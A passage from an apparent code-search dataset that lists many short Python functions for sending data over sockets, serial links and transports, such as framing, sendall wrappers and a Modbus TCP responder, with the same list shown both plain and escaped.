FC)\n exit()\n except Exception as e:\n print(e, \"\\nConnection with Client terminated\")\n exit()","def send(self, msg):\n body = json.dumps(msg)\n body = \"Content-Length: \" + str(len(body)) + \"\\r\\n\\r\\n\" + body\n body = bytes(body, \"ascii\")\n totalsent = 0\n while totalsent < len(body):\n sent = self.sock.send(body[totalsent:])\n if sent == 0:\n raise RuntimeError(\"socket connection broken\")\n totalsent = totalsent + sent","def send(self, msg):\n if self.isConnected():\n pmsg = pickle.dumps(msg)\n if COMPRESS:\n pmsg = zlib.compress(pmsg)\n buffer = QByteArray()\n stream = QDataStream(buffer, QIODevice.WriteOnly)\n stream.setVersion(QDataStream.Qt_5_3)\n stream.writeUInt32(len(pmsg))\n stream.writeRawData(pmsg)\n bytesWritten = self.tcpsocket.write(buffer)\n self.tcpsocket.flush()\n self.tcpsocket.waitForBytesWritten()\n # qApp.processEvents() # send data immediately and don't wait for next mainloop\n logging.debug(\"Bytes written: %i\", bytesWritten)\n if bytesWritten > 0:\n return True\n else:\n logging.debug(\"Message not send. Not connected\")\n return False","def send(self, data):\n self.sock.send(data)","def send(self, data):\n self.sock.send(data)","def sendValue(self, value):\n\n print(f'Sending: {value}\\n')\n self.ser.write(bytes([value]))\n self.ser.write('\\n'.encode(\"ascii\"))\n\n self.ser.reset_input_buffer()\n ser_bytes = self.ser.read(1)\n print(f'Receiving\\nraw data: {ser_bytes}')\n\n\n #decoded_bytes = (ser_bytes.decode(\"ascii\"))\n\n #print(f'Ascii Value: {decoded_bytes}', flush=True)","def send(\n self,\n socket: socket.socket,\n content_type: ContentType,\n data: bytes,\n transaction: int = 0,\n status: int = 0,\n ) -> None:\n body = pack(\">3I\", self.VERSION, transaction, content_type) + data\n encrypted = self.enc.encrypt(body)\n length = 4 + len(encrypted)\n data = pack(\">2I\", length, status) + encrypted\n logger.debug(\"Sending %d bytes (total %d bytes)\" % (length, len(data)))\n socket.sendall(data)","def sendRandomBytes(self):\n random_bytes = [random.getrandbits(8) for i in range(128)]\n self.transport.write(bytes(random_bytes))","def send(self, data: bytes) -> None:\n size = len(data).to_bytes(self.SIZE_BYTES, self.BYTEORDER)\n message = size + data\n sent = self.socket.send(message)\n # For TCP we don't really need to send all the message bytes\n # in one go, BUT it becomes important if we switch to UDP\n if sent != len(message):\n raise RuntimeError(\"Unable to send all the data required\")","def recv(self, bufsize: int) -> bytes:\n ...","def send_data(self, str_data):\n try:\n self.s.sendall(str_data.encode())\n except OSError as e:\n print(e)","def send(self, data):\n pass","def send(self, msg):\n msg = stc.pack('>I', len(msg)) + msg\n self.sendall(msg)","def send(self, msg):\r\n if isinstance(msg, str):\r\n msg = msg.encode()\r\n logger.debug('Sending message: %s ...', repr(msg))\r\n self._socket.sendall(msg)","def tcp_message(self, flow: mitmproxy.tcp.TCPFlow):","def send_message(sock, message) -> None:\n print('[CLIENT LOG] sending message to server: {}'.format(str(message)))\n if type(message) == bytes:\n \n sock.sendall(message)\n else:\n sock.sendall(str.encode(str(message)))","def send_data(no_of_packets):\n generate = data_buf_pb2.Send()\n generate.nop = no_of_packets\n data = generate.SerializeToString()\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # create socket and send data\n s.connect((receiver_node_ip, receiver_node_port))\n s.sendall(data)\n s.close()","def send_msg(sock, msg):\n\n # Stores the length of message in big-endian order\n msg = struct.pack('>I', len(msg)) + msg\n\n # Writes all bytes to the stream\n sock.sendall(msg)","def send(self, data: bytes) -> int:\n if not data:\n raise Exception(\"Can't send empty data!\")\n\n LOG.debug(\"=> %s\", data.hex())\n\n data = int.to_bytes(len(data), 2, byteorder=\"big\") + data\n offset: int = 0\n seq_idx: int = 0\n length: int = 0\n\n while offset < len(data):\n # Header: channel (0x0101), tag (0x05), sequence index\n header: bytes = b\"\\x01\\x01\\x05\" + seq_idx.to_bytes(2, byteorder=\"big\")\n data_chunk: bytes = (header +\n data[offset:offset + 64 - len(header)])\n\n self.device.write(b\"\\x00\" + data_chunk)\n length += len(data_chunk) + 1\n offset += 64 - len(header)\n seq_idx += 1\n\n return length","def _send(self, data, newline=\"\\r\\n\", sock=None):\n self.outbuff.append(data+newline)\n for msg in self.outbuff:\n if self.print_raw:\n logger.debug(msg.strip())\n self.sock.sendall((msg+newline).encode(\"utf-8\"))","def send_data(data):\n\n # In order for the data to be transmitted, it has to be in bytes format\n pickled_data = pickle.dumps(data)\n # Actual length of the data (for example 3) \n data_length = len(pickled_data)\n # Padded length of the data (for example '3 ')\n padded_length = pickle.dumps(data_length)\n padded_length += b' ' * (HEADER_SIZE - len(padded_length))\n\n # Send the padded length and then the data right after\n conn.send(padded_length)\n conn.send(pickled_data)","def send(self, buf):\n if self._verbose:\n self._prettyprint(buf, True)\n self._s.sendall(buf)","def sendData(self, data):\n self.transport.write(zlib.compress(rencode.dumps(data)))","def serverSend(self, content, binary=False):\n if self.state == self.STATE_CONNECTING:\n self.serverAccept()\n self.last_data = time.time()\n logger.debug(\"Sent WebSocket packet to client for %s\", self.reply_channel)\n if binary:\n self.sendMessage(content, binary)\n else:\n self.sendMessage(content.encode(\"utf8\"), binary)","def send_ndarray(sock, data):\n with io.BytesIO() as f:\n np.save(f, data)\n byte_data = f.getvalue()\n\n # Pack message length\n msg = struct.pack('>I', len(byte_data)) + byte_data\n sock.sendall(msg)","def _lowLevelSend(self,data):\n import socket\n \n try: size = self.socket_reference.send(data)\n except socket.error as error: raise CommClientException(str(error)) \n \n return size","def send(self, buf, offset=0, size=None):\n raise NotImplementedError","def sendall(self, s):\r\n self.write(s)","def __send_message(self, data):\n if RemotePlayerProxy.DEBUG:\n print(f'[RPP] [SEND] -> [{self.name}]: {data}')\n\n try:\n self.__socket.sendall(bytes(data, 'ascii'))\n except Exception as e:\n if RemotePlayerProxy.DEBUG:\n print(e)","def send(self, sock):\n return sock.send(self.pack())","def send(self, sock):\n return sock.send(self.pack())"],"string":"[\n \"def send_bytes(self, data: bytes) -> None:\",\n \"async def send_raw(self, data: bytes) -> None:\\n await self.socket.sendall(data)\",\n \"def send(self, data: bytes):\",\n \"def send_bytes(self, bytearray):\\r\\n try:\\r\\n self.socket.send(bytearray)\\r\\n except:\\r\\n # print(\\\"Socket broken in send\\\")\\r\\n return\",\n \"def sendTCP_raw_single(m,ip,port):\\n s=socket.socket()\\n s.settimeout(1)\\n s.connect((ip,port))\\n s.send(m.data)\\n #print (\\\"RetVal: %s\\\" % s.recv(1000))\\n return s.recv(1000)\",\n \"def _send(self, raw, addr):\\n raise NotImplementedError('implement using any Transport Layer')\",\n \"def send(self, data: bytes) -> int:\\n ...\",\n \"def sendRaw(self, msg, echo = False):\\n\\n sent = self.__sock.send(msg)\\n if sent > 0 and echo:\\n print \\\"Sent: %s\\\"%msg,\",\n \"def _writeBytes(self, b):\\n self.socket.send(b)\",\n \"def send_bytes(self, data):\\n raw_data = bytes(data)\\n\\n attempts = 0\\n while True:\\n try:\\n self._sock.sendall(raw_data)\\n return\\n except (socket.timeout, BrokenPipeError):\\n print('in socket exeption....')\\n if (attempts < self._retries):\\n attempts += 1\\n self._sock.close()\\n self._sock.connect((self._ip, self._port))\\n else:\\n raise\",\n \"def send_raw_pack(self, raw_data):\\n if self.append_connect:\\n return\\n self.append_send_buffer += raw_data\\n self.handle_write()\",\n \"def send_raw_pack(self, raw_data):\\n if self.append_connect:\\n return\\n self.append_send_buffer += raw_data\\n self.handle_write()\",\n \"def _raw(self, txt):\\n\\n if not txt:\\n return\\n\\n rlog(2, self.name + '.sending', txt)\\n\\n try:\\n self.lastoutput = time.time()\\n itxt = toenc(outputmorphs.do(txt), self.encoding)\\n if self.ssl:\\n self.sock.write(itxt + '\\\\n')\\n else:\\n self.sock.send(itxt[:500] + '\\\\n')\\n except Exception, ex:\\n # check for broken pipe error .. if so ignore \\n # used for nonblocking sockets\\n try:\\n (errno, errstr) = ex\\n if errno != 32 and errno != 9:\\n raise\\n else:\\n rlog(10, self.name, 'broken pipe/bad socket error .. ignoring')\\n except:\\n rlog(10, self.name, \\\"ERROR: can't send %s\\\" % str(ex))\\n self.reconnect()\",\n \"def send(self, bytestream):\\n total_sent = 0\\n length_data = len(bytestream)\\n try:\\n while total_sent < length_data:\\n # Returns the number of bytes sent\\n nr_sent = self.socket.send(bytestream[total_sent:])\\n total_sent += nr_sent\\n except (socket.error, socket.timeout):\\n # Evt17: Transport connection closed\\n self.event_queue.put('Evt17')\",\n \"def send_raw_pack(self, raw_data):\\n self.append_send_buffer += raw_data\\n LOGGER.debug(\\\"local session send_raw_pack %s\\\", raw_data)\\n if not self.append_connect:\\n self.handle_write()\",\n \"def test_short_bytes(self):\\n server, client = loopback()\\n count = server.send(b\\\"xy\\\")\\n assert count == 2\\n assert client.recv(2) == b\\\"xy\\\"\",\n \"def sendraw(self, txt):\\n\\n if self.stopped:\\n return\\n rlog(2, self.name + '.sending', txt)\\n self._raw(txt)\",\n \"def send(self, bytes: bytes):\\n assert self.status == Status.Active, \\\"Connection not established yet. Use sendto instead.\\\"\\n #############################################################################\\n # TODO: YOUR CODE HERE #\\n #############################################################################\\n\\n # 将要发送数据拆分放入transmit queue等待transmit thread处理\\n u = 0\\n v = DATA_LEN\\n while u < len(bytes):\\n self.transmit_queue.put({'data': bytes[u:v], 'is_end': v >= len(bytes)})\\n u = v\\n v += DATA_LEN\\n\\n #############################################################################\\n # END OF YOUR CODE #\\n #############################################################################\",\n \"async def send_raw(self, raw_message : str):\\n await self._connection.send_raw(raw_message)\",\n \"def test_short_bytearray(self):\\n server, client = loopback()\\n count = server.send(bytearray(b\\\"xy\\\"))\\n assert count == 2\\n assert client.recv(2) == b\\\"xy\\\"\",\n \"def req_stream_bin(self):\\n meassage = b'SUP 23 1' + self.end_mess_bytes\\n print('Requesting binary stream...')\\n self.sock.sendall(meassage)\",\n \"def _send_from_buffer(cls, buf, stream):\\n remaining_bytes = len(buf)\\n while remaining_bytes > 0:\\n next_chunk_bytes = min( remaining_bytes, VoxelsNddataCodec.STREAM_CHUNK_SIZE )\\n chunk_start = len(buf)-remaining_bytes\\n chunk_stop = len(buf)-(remaining_bytes-next_chunk_bytes)\\n stream.write( buf[chunk_start:chunk_stop] )\\n remaining_bytes -= next_chunk_bytes\",\n \"def _send(self, p: str, s) -> bytes:\\n\\n b = self._to_netstring(p.encode('ascii'))\\n\\n failure = s.sendall(b)\\n if failure is not None:\\n self._send(p, s)\\n return b\",\n \"def send(self, bytes:bytes):\\n assert self._send_to, \\\"Connection not established yet. Use sendto instead.\\\"\\n #############################################################################\\n # TODO: YOUR CODE HERE #\\n #############################################################################\\n raise NotImplementedError()\\n #############################################################################\\n # END OF YOUR CODE #\\n #############################################################################\",\n \"def sendraw(self, st):\\n\\n st = self.as_str(st)\\n\\n if '\\\\n' in st or '\\\\r\\\\n' in st:\\n raise ValueError('cannot send strings with newline characters')\\n _python_print_function(st, file=self.stdout or sys.stdout)\",\n \"def send(self, data):\",\n \"def net_send(out_data: bytes, conn: socket.socket) -> None:\\n print(\\\"Sending {} bytes\\\".format(len(out_data)))\\n conn.send(out_data)\",\n \"def _try_send_raw(self, raw_data):\\r\\n if self.connected:\\r\\n try:\\r\\n self.socket.send(raw_data)\\r\\n except Exception as exc:\\r\\n self.debug(exc)\\r\\n self.connected = False\\r\\n self.socket.close()\",\n \"def send_back_binary(self, bin):\\n data = bin.data\\n print('send_back_binary({!r})'.format(data))\\n response = Binary(data)\\n return response\",\n \"def test_send(self):\\n self.inverter.send(b\\\"\\\\x00\\\\x01\\\\x02\\\", b\\\"\\\")\\n received_message = self.sock.recv(4096)\\n self.assertEqual(message, received_message)\",\n \"def send(self, data: bytes) -> int:\\n return self.connection.send(data)\",\n \"def _send(self, data: bytes):\\n if self._pre_send is not None:\\n data = self._pre_send(data)\\n if data is None:\\n return\\n\\n self._transport.sendto(data, self._peer)\",\n \"def send_data(self, msg):\\n totalsent = 0\\n # tt= struct.unpack('c'*len(msg), msg)\\n # print(tt)\\n while totalsent < len(msg):\\n try:\\n sent = self.sockfd.send(msg)\\n except:\\n print(f'{self.ip} socket failed')\\n break\\n if sent == 0:\\n raise RuntimeError(\\\"Socket connection broken\\\")\\n totalsent = totalsent + sent\",\n \"def raw_socket(self) -> SocketType:\",\n \"def send(self, byte: bytes): # 发送TCP数据，将string中的数据发送到连接的套接字。返回值是要发送的字节数量，该数量可能小于string的字节大小。\\n # assert self._send_to, \\\"Connection not established yet. Use sendto instead.\\\"\\n #############################################################################\\n # TODO: YOUR CODE HERE #\\n #############################################################################\\n if self.isConnected:\\n self.pktTime.clear() # 初始化发包时间\\n pieces_size = 100\\n datas = self.slice_into_pieces(byte, pieces_size) # 将包切片\\n print('send:need to send {} pkts'.format(len(datas)))\\n sw = SendingWindow(window_size=10, datas=datas, sender_time_out_method=self.sender_time_out) # 初始化发送窗口\\n ack_finish = False\\n for seq, seg in sw.buffer.items(): # 将窗口内的包发送\\n print(\\\"send:send pkt \\\", seg.seqNumber)\\n # time.sleep(self.RTT)\\n self.sendto(seg.getSegment(), self.connectAddr)\\n self.pktTime[seq] = time.time()\\n\\n while ack_finish is False: # 开始发送\\n\\n buffer, addr = self.recvfrom(1024) # 接受ack信息\\n\\n # head = buffer[:18]\\n seg = segment.parse(buffer)\\n\\n #如果现在检测到对方在发，那么久改为recv模式\\n if seg.payload!=b'':\\n\\n #TODO: 保守之策\\n data = self.recv(2048)\\n return\\n\\n if segment.Checksum(seg) is False:\\n print('send: Check sum false')\\n continue\\n\\n if seg.ackNumber in sw.buffer.keys():\\n print(f'send: seg ack number {seg.ackNumber} in sw keys {sw.buffer.keys()} and payload is {str(seg.payload)}')\\n con = sw.ack(seg.ackNumber) # 通知发送窗口接收到了包并且返回结果\\n error = time.time() - self.pktTime[seg.ackNumber]\\n self.RTT = self.RTT * (1 - self.rttRate) + self.rttRate * error\\n sw.time_out = self.RTT\\n\\n if type(con) == list: # 返回结果:链表,链表中是滑动窗口后新加入的包,将其一一发送\\n # print('sender: start to slide send window')\\n for segg in con:\\n # TODO:ADD TIME OUT\\n # time.sleep(self.RTT)\\n print(\\\"send:send pkt \\\", segg.seqNumber)\\n self.sendto(segg.getSegment(), self.connectAddr)\\n self.pktTime[segg.seqNumber] = time.time()\\n\\n elif con==True: # 返回结果:真,说明发送完毕\\n ack_finish = True\\n # print('sender: send finish')\\n else:\\n print(f'send: seg ack number {seg.ackNumber} not in sw keys {sw.buffer.keys()}')\\n\\n #############################################################################\\n # END OF YOUR CODE #\\n #############################################################################\",\n \"def send_message(self, message):\\r\\n\\t\\tself.__tcpSocket.write(message.encode('utf8'))\",\n \"def sendMessage(self, payload, isBinary):\",\n \"def __send_request(self, msg, sock):\\n if type(msg) != bytes:\\n response = bytes(f\\\"{msg}\\\", \\\"ascii\\\")\\n print(f\\\"--> Sending: {msg}\\\")\\n sock.sendall(response)\",\n \"def send_packet(sender, payload):\\n sender.write(payload)\",\n \"def send_packet(sender, payload):\\n\\n sender.write(payload)\",\n \"def sendsafe(self, data):\\n\\n import base64\\n\\n data = base64.b85encode(self.as_bytes(data))\\n return self.sendraw(data)\",\n \"def sendData(data):\\n\\n\\tslen = struct.pack('<I', len(data))\\n\\t#connSock.sendall(slen + data)\\n\\tconnSock.sendall(slen)\\n\\tconnSock.sendall(data)\\n\\n\\treturn 0\",\n \"def send(socket, img_array):\\n packed_image = msgpack.packb(img_array, default=mn.encode)\\n socket.send(packed_image)\",\n \"def _writeBytes(self, b):\\n self.stream.write(b)\\n self.stream.flush()\",\n \"def send(self, data, is_chunked=False):\\r\\n if self.sock is None:\\r\\n if self.auto_open:\\r\\n self.connect()\\r\\n else:\\r\\n raise NotConnected()\\r\\n\\r\\n if self.debuglevel > 0:\\r\\n print \\\"send:\\\", repr(data)\\r\\n blocksize = 8192\\r\\n if hasattr(data, 'read') and not isinstance(data, array):\\r\\n if self.debuglevel > 0:\\r\\n print \\\"sendIng a read()able\\\"\\r\\n datablock = data.read(blocksize)\\r\\n while datablock:\\r\\n if self.debuglevel > 0:\\r\\n print 'chunked:', is_chunked\\r\\n if is_chunked:\\r\\n if self.debuglevel > 0:\\r\\n print 'send: with trunked data'\\r\\n lenstr = string.upper(hex(len(datablock))[2:])\\r\\n self.sock.sendall('%s\\\\r\\\\n%s\\\\r\\\\n' % (lenstr, datablock))\\r\\n else:\\r\\n self.sock.sendall(datablock)\\r\\n datablock = data.read(blocksize)\\r\\n if is_chunked:\\r\\n self.sock.sendall('0\\\\r\\\\n\\\\r\\\\n')\\r\\n else:\\r\\n self.sock.sendall(data)\",\n \"def send(message):\\n\\tmessage = message.encode()\\n\\tconn.send(message)\",\n \"def __recvall(self, bytes):\\r\\n data = \\\"\\\"\\r\\n while len(data) < bytes:\\r\\n data = data + self.recv(bytes-len(data))\\r\\n return data\",\n \"def send_message(self, message, raw = None):\\n \\n # Message Data\\n if message != None:\\n raw = message.raw_string()\\n elif not isinstance(raw,str) and not isinstance(raw,bytes):\\n raw = utils.to_bytes(raw)\\n \\n # Encryption???\\n if self._crypt != None:\\n logger.debug(\\\"%s: Encryption started...\\\" % \\\\\\n self.__class__.__name__)\\n \\n # padd the bytes to a multiple of the block size\\n raw += self._rand.read(self._crypt.block_size - \\n (len(raw)%self._crypt.block_size))\\n \\n # perform the encryption\\n raw = self._crypt.encrypt(raw)\\n logger.debug(\\\"%s: ...encryption complete.\\\" % \\\\\\n self.__class__.__name__)\\n \\n # Send Message\\n try:\\n logger.debug(\\\"%s: Socket write started...\\\" % \\\\\\n self.__class__.__name__)\\n if self._addr == None:\\n sent = self._socket.send(raw)\\n else:\\n sent = self._socket.sendto(raw, self._addr)\\n if sent == len(raw):\\n logger.debug(\\\"%s: ...Socket write complete.\\\" % \\\\\\n self.__class__.__name__)\\n if isinstance(raw,str):\\n logger.info(\\\"%s: Wrote %d bytes:\\\\n%s\\\" % \\\\\\n (self.__class__.__name__, sent,\\n ' '.join(map(utils.hex,map(ord,raw[:sent])))))\\n else:\\n logger.info(\\\"%s: Wrote %d bytes:\\\\n%s\\\" % \\\\\\n (self.__class__.__name__, sent,\\n ' '.join(map(utils.hex,raw[:sent]))))\\n if sent < len(raw):\\n logger.error(\\\"%s: Socket write incomplete!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"Write Incomplete!\\\")\\n \\n # Send Failed\\n except socket.error as ex:\\n if ex.args[0] != 104:\\n logger.error(\\\"%s: ...Socket has been closed.\\\" % \\\\\\n (self.__class__.__name__))\\n self.close()\\n logger.error(\\\"%s: ...Socket write failed:\\\\n%s\\\" % \\\\\\n (self.__class__.__name__,str(ex)))\\n raise utils.TransportError \\\\\\n (\\\"Socket Message send failed!\\\\n\\\" + str(ex))\",\n \"async def send(self, *args: Union[bytes, str]) -> None:\\n # Convert all args to bytes if not already\\n bargs = []\\n for arg in args:\\n if isinstance(arg, str):\\n bargs.append(arg.encode())\\n elif isinstance(arg, bytes):\\n bargs.append(arg)\\n else:\\n raise IRCClientError('Refusing to send one of the args from provided: %s'\\n % repr([(type(arg), arg) for arg in args]))\\n\\n msg = b\\\" \\\".join(bargs)\\n await self.send_raw(msg + b\\\"\\\\r\\\\n\\\")\\n logging.info('---> send \\\"%s\\\"' % msg)\",\n \"def _send_body(self, body, body_type):\\n if body_type == BODY_FLAT:\\n # Special case for files and other 'readable' objects.\\n if hasattr(body, 'read'):\\n while True:\\n block = body.read(16*1024)\\n if not block:\\n break\\n\\n try:\\n self._sock.send(block)\\n except TypeError:\\n raise ValueError(\\n \\\"File objects must return bytestrings\\\"\\n )\\n\\n return\\n\\n # Case for bytestrings.\\n elif isinstance(body, bytes):\\n self._sock.send(body)\\n\\n return\\n\\n # Iterables that set a specific content length.\\n else:\\n for item in body:\\n try:\\n self._sock.send(item)\\n except TypeError:\\n raise ValueError(\\\"Body must be a bytestring\\\")\\n\\n return\\n\\n # Chunked! For chunked bodies we don't special-case, we just iterate\\n # over what we have and send stuff out.\\n for chunk in body:\\n length = '{0:x}'.format(len(chunk)).encode('ascii')\\n\\n # For now write this as four 'send' calls. That's probably\\n # inefficient, let's come back to it.\\n try:\\n self._sock.send(length)\\n self._sock.send(b'\\\\r\\\\n')\\n self._sock.send(chunk)\\n self._sock.send(b'\\\\r\\\\n')\\n except TypeError:\\n raise ValueError(\\n \\\"Iterable bodies must always iterate in bytestrings\\\"\\n )\\n\\n self._sock.send(b'0\\\\r\\\\n\\\\r\\\\n')\\n return\",\n \"def send(self, data: bytes):\\n\\n self.client.sendall(data)\\n\\n return len(data)\",\n \"def send_msg(sock, msg):\\n msg += '\\\\0'\\n data = msg.encode('utf-8')\\n sock.sendall(data)\",\n \"def sendBuffer():\\n dislin.sendbf()\",\n \"def send(self,data):\\n\\t\\ttry:\\n\\t\\t\\tif len(self.protocol) > 1:\\n\\t\\t\\t\\tfor protocol in reversed(self.protocol[1:]):\\n\\t\\t\\t\\t\\tdata = protocol.encode(data)\\n\\t\\t\\tself.protocol[0].sendTcpSocket(data, self.socket)\\n\\t\\texcept protocols.ProtocolIsNotRespectedError as e:\\n\\t\\t\\traise CouldNotSendRequestError(\\\"\\\", e)\\n\\t\\texcept Exception as e:\\n\\t\\t\\traise SocketError(\\\"Client socket died\\\", e)\",\n \"def sendString(self, data):\\n self.transport.write(pack(\\\"!i\\\",len(data))+data)\",\n \"def send(self, data:bytes):\\n packet = Rudp.Packet(self.seq, 0, data)\\n packet.timesamp = time()\\n self.sendPacket(packet)\\n self.seqPlusOne()\\n return(packet)\",\n \"def SendData(self, data, conn = None, is_string = True):\\n\\t\\tif self.is_server == False:\\n\\t\\t\\tif self.socket_connected:\\n\\t\\t\\t\\tconn = self.socket\\n\\t\\t\\telse:\\n\\t\\t\\t\\traise Exception(\\\"Socket not connected to anything\\\")\\n\\t\\telse:\\n\\t\\t\\tif conn == None:\\n\\t\\t\\t\\traise AttributeError(\\\"conn was not specified\\\")\\n\\n\\t\\t# THis works regardless of bnrary format or not\\n\\t\\tsent = conn.sendall(str(len(data)).encode('utf-8'))\\n\\n\\t\\t# Very small timer so that the reciving socket has enough time to\\n\\t\\t# process\\n\\t\\ttime.sleep(0.001)\\n\\n\\t\\tif sent == 0:\\n\\t\\t\\traise RuntimeError(\\\"Socket connection broken\\\")\\n\\n\\t\\tif is_string:\\n\\t\\t\\t# IF string, then encode in utf-8 and then send\\n\\t\\t\\tsent = conn.sendall(data.encode('utf-8'))\\n\\t\\telse:\\n\\t\\t\\tsent = conn.sendall(data)\\n\\n\\t\\tif sent == 0:\\n\\t\\t\\traise RuntimeError(\\\"socket connection broken\\\")\",\n \"def true_send(conn, data):\\n encrypted_data = key.encrypt(pickle.dumps(data))\\n length = str(len(encrypted_data)).zfill(LENGTH).encode()\\n data = length + encrypted_data\\n conn.send(data)\",\n \"def Send(self, payload):\\n self._sock.send(payload)\",\n \"def send(self, buf):\\n #self._send_lock.acquire()\\n self._strtosend.put(buf)\\n #self._send_lock.release()\",\n \"def send(self, data):\\n if UdpTransport._sendNeedsStr:\\n # This version of sendall can't use a memoryview, etc., so convert.\\n self._socket.sendto(str(bytearray(data)), self._address)\\n else:\\n try:\\n self._socket.sendto(data, self._address)\\n except TypeError:\\n # Assume we need to convert to a str.\\n UdpTransport._sendNeedsStr = True\\n self.send(data)\",\n \"def send(self, conn: 'socket.socket', data: Any) -> None:\\n packets = json.dumps(data).encode('utf-8')\\n value = socket.htonl(len(packets))\\n size = struct.pack('L', value)\\n\\n conn.send(size)\\n conn.send(packets)\",\n \"def send_bytes(msg):\\n\\t# Set the length of the payload to 8 bytes \\n\\trfm.write_register(0x3E, len(msg))\\n\\t# Fill the payload into the transmit FIFO\\n\\tfor i in np.arange(len(msg)):\\n\\t\\trfm.write_register(0x7F, ord(msg[i]))\\n\\n\\t\\\"\\\"\\\"Disable all interrupts and enable the packet sent interrupt only\\\"\\\"\\\"\\n\\t# This will be used for indicating the successful packet transmission for the CHIP\\n\\trfm.write_register(0x05, 0x04) # Write 0x04 to the interrupt enable 1 register\\n\\trfm.write_register(0x06, 0x00) # Write 0x03 to the Interrute enable 2 register\\n\\t# Read interrupt status registers to clear pending interrupts making nIRQ pin go back to high\\n\\tItStatus1 = rfm.read_register(0x03) # Read the Interrupt Status 1 register\\n\\tItStatus2 = rfm.read_register(0x04) # Read the Interrupt Status 2 register\\n\\n\\t\\\"\\\"\\\"Enable Transmitter\\\"\\\"\\\"\\n\\t# The radio forms the packet and sends it automatically\\n\\trfm.write_register(0x07, 0x09) # Write 0x09 to the Operating Function Control 1 register\\n\\n\\t\\\"\\\"\\\"Wait for the packet sent interrupt\\\"\\\"\\\"\\n\\t# CHIP only needs to monitor the ipksent interrupt\\n\\twhile rfm.check_irq():\\n\\t\\ttime.sleep(0.001)\\n\\t# Read interrupt status registers to release the interrupt flags\\n\\tItStatus1 = rfm.read_register(0x03) # Read the Interrupt Status 1 register\\n\\tItStatus2 = rfm.read_register(0x04) # Read the Interrupt Status 2 register\",\n \"def sendrawtransaction(self, hexstring):\\n return self.proxy.sendrawtransaction(hexstring)\",\n \"def send_protocol_message(self, msg):\\n self.conn.send(msg + \\\"\\\\0\\\")\",\n \"def send_frame(self):\\n frame = self.frame_buffer.get()\\n result, jpeg = cv2.imencode(\\\".jpg\\\", frame.nparray)#, self.encode_param)\\n data = numpy.array(jpeg)\\n string_data = data.tostring()\\n self.sock.send(str(len(string_data)).ljust(16))\\n self.sock.send(string_data)\",\n \"def send(send_msg, sock):\\r\\n send_msg = send_msg.encode()\\r\\n sock.send(send_msg)\\r\\n msg = sock.recv(1024)\\r\\n msg = msg.decode()\\r\\n return msg\",\n \"def send(self, data):\\n self.socket.sendall(data)\",\n \"def _send(self, data):\\n self._sock.send(self._cipher_tx.crypt(data))\",\n \"def TCP(conn, addr):\\n buffer = array('B', [0] * 300)\\n cnt = 0\\n while True:\\n if cnt < 60000: cnt = cnt + 1\\n else: cnt = 1\\n try:\\n conn.recv_into(buffer)\\n TID0 = buffer[0] #Transaction ID to sync\\n TID1 = buffer[1] #Transaction ID \\n ID = buffer[6] #Unit ID\\n FC = buffer[7]\\n mADR = buffer[8]\\n lADR = buffer[9]\\n ADR = mADR * 256 + lADR\\n LEN = buffer[10] * 256 + buffer[11]\\n BYT = LEN * 2\\n print(\\\"Received = \\\", buffer[0:13 + buffer[12]])\\n if (FC in [1, 2, 3, 4]): # Read Inputs or Registers\\n DAT = array('B')\\n if FC < 3:\\n BYT = ceil(LEN / 8) # Round off the no. of bytes\\n v = 85 # send 85,86.. for bytes.\\n for i in range(BYT):\\n DAT.append(v)\\n v = (lambda x: x + 1 if (x < 255) else 85)(v)\\n else:\\n DAT = array('B', np.arange(cnt, LEN+cnt, dtype=np.dtype('>i2')).tobytes())\\n print(\\\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d\\\" \\\\\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN))\\n conn.send(\\n array('B', [TID0, TID1, 0, 0, 0, BYT + 3, ID, FC, BYT]) + DAT)\\n elif (FC in [5, 6, 15, 16]): # Write Registers\\n BYT = buffer[12]\\n conn.send(\\n array('B', [TID0, TID1, 0, 0, 0, 6, ID, FC, mADR, lADR, buffer[10], buffer[11]]))\\n buf = buffer[13:(13 + BYT)]\\n print(\\\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d, Bytes= %d\\\" \\\\\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN, BYT))\\n if FC == 5 or FC == 15:\\n message = 'bytes: '+ str(unpack('B' * BYT, buf))\\n elif FC == 6 or FC == 16:\\n message = str(unpack('>' + 'H' * int(BYT / 2), buf))\\n print(\\\"Received Write Values =\\\", message)\\n else:\\n print(\\\"Funtion Code %d Not Supported\\\" % FC)\\n exit()\\n except Exception as e:\\n print(e, \\\"\\\\nConnection with Client terminated\\\")\\n exit()\",\n \"def send(self, msg):\\n body = json.dumps(msg)\\n body = \\\"Content-Length: \\\" + str(len(body)) + \\\"\\\\r\\\\n\\\\r\\\\n\\\" + body\\n body = bytes(body, \\\"ascii\\\")\\n totalsent = 0\\n while totalsent < len(body):\\n sent = self.sock.send(body[totalsent:])\\n if sent == 0:\\n raise RuntimeError(\\\"socket connection broken\\\")\\n totalsent = totalsent + sent\",\n \"def send(self, msg):\\n if self.isConnected():\\n pmsg = pickle.dumps(msg)\\n if COMPRESS:\\n pmsg = zlib.compress(pmsg)\\n buffer = QByteArray()\\n stream = QDataStream(buffer, QIODevice.WriteOnly)\\n stream.setVersion(QDataStream.Qt_5_3)\\n stream.writeUInt32(len(pmsg))\\n stream.writeRawData(pmsg)\\n bytesWritten = self.tcpsocket.write(buffer)\\n self.tcpsocket.flush()\\n self.tcpsocket.waitForBytesWritten()\\n # qApp.processEvents() # send data immediately and don't wait for next mainloop\\n logging.debug(\\\"Bytes written: %i\\\", bytesWritten)\\n if bytesWritten > 0:\\n return True\\n else:\\n logging.debug(\\\"Message not send. Not connected\\\")\\n return False\",\n \"def send(self, data):\\n self.sock.send(data)\",\n \"def send(self, data):\\n self.sock.send(data)\",\n \"def sendValue(self, value):\\n\\n print(f'Sending: {value}\\\\n')\\n self.ser.write(bytes([value]))\\n self.ser.write('\\\\n'.encode(\\\"ascii\\\"))\\n\\n self.ser.reset_input_buffer()\\n ser_bytes = self.ser.read(1)\\n print(f'Receiving\\\\nraw data: {ser_bytes}')\\n\\n\\n #decoded_bytes = (ser_bytes.decode(\\\"ascii\\\"))\\n\\n #print(f'Ascii Value: {decoded_bytes}', flush=True)\",\n \"def send(\\n self,\\n socket: socket.socket,\\n content_type: ContentType,\\n data: bytes,\\n transaction: int = 0,\\n status: int = 0,\\n ) -> None:\\n body = pack(\\\">3I\\\", self.VERSION, transaction, content_type) + data\\n encrypted = 